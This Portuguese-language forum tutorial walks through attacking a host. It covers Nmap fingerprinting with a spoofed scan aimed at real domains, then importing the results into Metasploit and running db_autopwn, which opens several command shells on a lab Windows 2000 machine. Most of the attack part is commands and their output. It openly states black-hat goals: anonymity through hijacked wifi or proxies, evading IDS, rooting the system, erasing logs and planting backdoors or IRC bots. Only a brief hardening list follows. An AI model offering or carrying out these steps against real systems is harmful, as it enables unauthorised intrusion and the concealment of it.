Vou passarar uma canja ai de um ataque muito
comum que seria um ataque Ignorante que com algumas implementações pode
ser Letal e inteligente.

Bem arrumando armas para tal feito

Preparando para ver o alvo

Nmap vamos usar para pegar informações das portas do alvo e também dos banners dos serviços rodando, Quem sabe um FingerPrint,em outras palavras vai ser nossa visão.
Pessoal do Windows Baixe o Nmap em "http://nmap.org" caso use Linux procure o package para
instalar dependendo da sua distro pode ser usado apt,yum,pacman,installpkg,emerge.Pessoal do BSD e MacOS use ports.Nmap foi usado para retratar ataques de BlackHats
em filmes até veja "http://nmap.org/movies.html".Acabando com papo vamos continuar...

Preparando a Arma

Metasploit vamos usar para explorar a falha achada e executar o nosso payload assim obtemos nossa Shell,Metasploit seria um framework feito na linguagem Ruby muito usado pelo pessoal do meio do hacking com intuito de fazer "pentest",O problema é que muitos "Black Hats" tem seus metasploits com bugs 0days feito por eles mesmo ou por negócios de venda de outras shells etc.Com Metasploit você dispõe de um banco de exploits e de payloads para ser testados injetados etc. Preciso falar mais nada ta ai nossa M16, kkkkkk
baixe o tarball no site oficial www.metasploit.com
para quem usa windows procure a versão para o mesmo no site oficial também...

Iniciando

Antes que você leia outros tutoriais ai destas ferramentas venho declarar que não é só mirar e atirar no autômatico,tem que ser inteligente usar a cabeça,pois
um ataque de "Script Kid" é rídiculo sem falar que os IDs como Snort apitão bem
em ataques sem noção.
Não seja uma criança com uma arma use o artigo com prudéncia...
continuando...

Usando o Nmap

bem até para ver o alvo podemos ser localizados e eventualmente achados pelo alvo então devemos ser mais sutil com Nmap possível,Lembre-se você não sabe o que tem no servidor,não sabe se tem uma intranet etc, então um footprint levantamento de dados antes de usar o nmap seria uma boa pedida,Mas indo direto com nmap vamos usar uma técnica chamada "Spoofing" para mascarar nosso "IP" assim forjano um falso atacante no alvo

vou dar um exemplo:

```
# nmap -sF -P0 -O -e eth1 -S microsoft.com ibm.com
```

usamos o server da microsoft como mascara assim o SysAdmin da IBM vai notar que a microsoft esta atacando ele com packets Fin(-sF) para obter fingerprint, isso seria Spoofing! agora que você tem um meio de purlar os IDs.Nmap é um mar de informações e métodos de ataques cabe a você leitor navegar nele á navegadores que trabalham até com scripts Lua em comjunto com nmap...

Usando Metasploit e partindo para a porrada

Tem muitos livros falando ai do nosso metasploit por ser um framework poderoso como ja falei,ja mandei uma Dica quente no Nmap que seria "spoofing" no metasploit você pode usar ele em conjunto com "TOR" para ajudar no anonimato,Vo deixa para você aprender a arrombar portas em silencio sozinho,eu tenho meu método mais de graça não vou falar,Continuando vou dar um exemplo de uso do combo letal Nmap+Metasploit porem bem ignorante sem "Spoofing" nem nada soh usando parametro "-sS". bem ignorante ou seja ataque ala moda do lobo ja partindo pra Porrada.

Código:

```
bt ~ # nmap -sS 192.168.80.129 -oX nmap.xml

        Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 12:04 GMT
        Interesting ports on 192.168.80.129:
        Not shown: 990 closed ports
        PORT     STATE SERVICE
        80/tcp   open  http
        135/tcp  open  msrpc
        139/tcp  open  netbios-ssn
        443/tcp  open  https
        445/tcp  open  microsoft-ds
        1025/tcp open  NFS-or-IIS
        1026/tcp open  LSA-or-nterm
        1027/tcp open  IIS
        1433/tcp open  ms-sql-s
        3372/tcp open  msdtc
        MAC Address: 00:0C:29:CC:CF:46 (VMware)

        Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds

        [End Result]----------------------------------------------------------------------------

                Now we got nmap.xml for import to Metasploit framework...

        [Import Nmap result to Metasploit]------------------------------------------------------

        bt framework3 # msfconsole
                        _                  _     _ _
                       | |                | |   (_) |
         _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
        | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
        | | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
        |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                                    | |
                                    |_|


              =[ msf v3.3-dev
```

```
        + -- --=[ 288 exploits - 124 payloads
                    + -- --=[ 17 encoders - 6 nops
              =[ 56 aux

        msf > load db_sqlite3
        [*] Successfully loaded plugin: db_sqlite3
        msf > db_create /tmp/test.db
        [*] Creating a new database instance...
        [*] Successfully connected to the database
        [*] File: /tmp/test.db
        msf > db_import_nmap_xml /root/nmap.xml
        msf > db_hosts
        [*] Time: Fri Jul 03 14:01:56 +0000 2009 Host: 192.168.80.129 Status: alive OS:
        msf > db_autopwn -p -e
        [*] (3/116): Launching exploit/unix/webapp/tikiwiki_jhot_exec against 192.168.80.129:80...
        [*] (8/116): Launching exploit/unix/webapp/awstats_configdir_exec against
192.168.80.129:80...
        [*] (9/116): Launching exploit/windows/http/bea_weblogic_transfer_encoding against
192.168.80.129:80...

        [*] Started bind handler
        [*] Started bind handler
        [*] (12/116): Launching exploit/unix/webapp/awstats_migrate_exec against
192.168.80.129:80...
        [*] (13/116): Launching exploit/windows/dcerpc/ms03_026_dcom against
192.168.80.129:135...
        [*] Started bind handler
        [*] Started bind handler
        [*] Job limit reached, waiting on modules to finish...
        [*] The server returned: 404 Object Not Found
        [*] This server may not be vulnerable
        [*] Started bind handler
        [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
        [*] Binding to 4d9f4ab8-7d1c-11cf-861e-
0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
        [*] The server returned: 404 Object Not Found
        [*] This server may not be vulnerable
        [*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135]
...
        [*] Sending exploit ...
        [*] The DCERPC service did not reply to our request
        [*] Command shell session 1 opened (192.168.80.131:52929 -> 192.168.80.129:10529)

        sessions -l

        Active sessions
        ===============

          Id  Description    Tunnel
          --  -----------    ------
          1   Command shell  192.168.80.131:52929 -> 192.168.80.129:10529
          2   Command shell  192.168.80.131:50775 -> 192.168.80.129:17887
          3   Command shell  192.168.80.131:40985 -> 192.168.80.129:37295
          4   Command shell  192.168.80.131:51652 -> 192.168.80.129:37095
          5   Command shell  192.168.80.131:38373 -> 192.168.80.129:17130
          6   Command shell  192.168.80.131:56722 -> 192.168.80.129:20693

        msf >sessions -i 1
        [*] Starting interaction with 1...

        Microsoft Windows 2000 [Version 5.00.2195]
        (C) Copyright 1985-2000 Microsoft Corp.
```

```
C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . . . . . . . . : 192.168.80.129
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.80.2

C:\WINNT\system32> bingo xD
```

explicando usamos Nmap para pegar informações do Host depois adicionar uma saída XML passamos o XML para o metasploit usando o Banco com SQLite assim o metasploit vai tentando HAckiar o host apartir de algumas informações do Nmap,e depois tenta rodar exploit por exploit se algum for injetado com sucesso te retorna com payload.

Lindo né! Porem o ataque ignorante em um servidor com *BSD ou Linux ataque iria rodar e os IDs iriam logar ou até mesmo ativar um honey-pot para te enganar... então estude Para você chegar em um tipo de ataque stealth.

Então definimos umas metas para um ataque bem sucedido de um blackhat.

*garanta seu Anonimato seja por proxy,hack wifi forjando rede de alguem,ponte|laranja etc...
*Footprint inteligente Whois,traceroute,usar hping2 para tentar pegar banners de serviços etc...
*FIngerprint com Nmap
*Exploramos o alvo usando determinado "exploit"
*se obter sucesso no ataque defina o que deve ser feito como exemplo RooTar o sistema
usando exploit local depois queimar os logs,upar um BC,ircbot etc...

Tendo tudo isso em mente podemos nos defender com algumas medidas

*deixar o sistema sempre STABLE se for servidor pois UNSTABLE sempre tem Bugs e meios de exploração
*ter um firewall bem configurado seja iptables, Packet filter etc...
*Ter menos serviços possíveis rodando nas portas tenha só o necessario por exemplo
servidor de Web deixe só apache ou outro serviço de web no máximo um FTP
servidor de e-mail deixe só o postfix ou outro serviço semelhante não invente muito
evite deixar todos os serviços num servidor só como SSH,ldap,samba,apache,ssl,kerberus,
cups,postfix,ftp...

Referencias

http://www.securityfocus.com/infocus/1790
http://oss.coresecurity.com/projects/pshtoolkit.html
http://technocafe.scampini.net/downl...SPLOIT_3.2.pdf
http://ftp.belnet.be/mirrors/FOSDEM/...Metasploit.ogg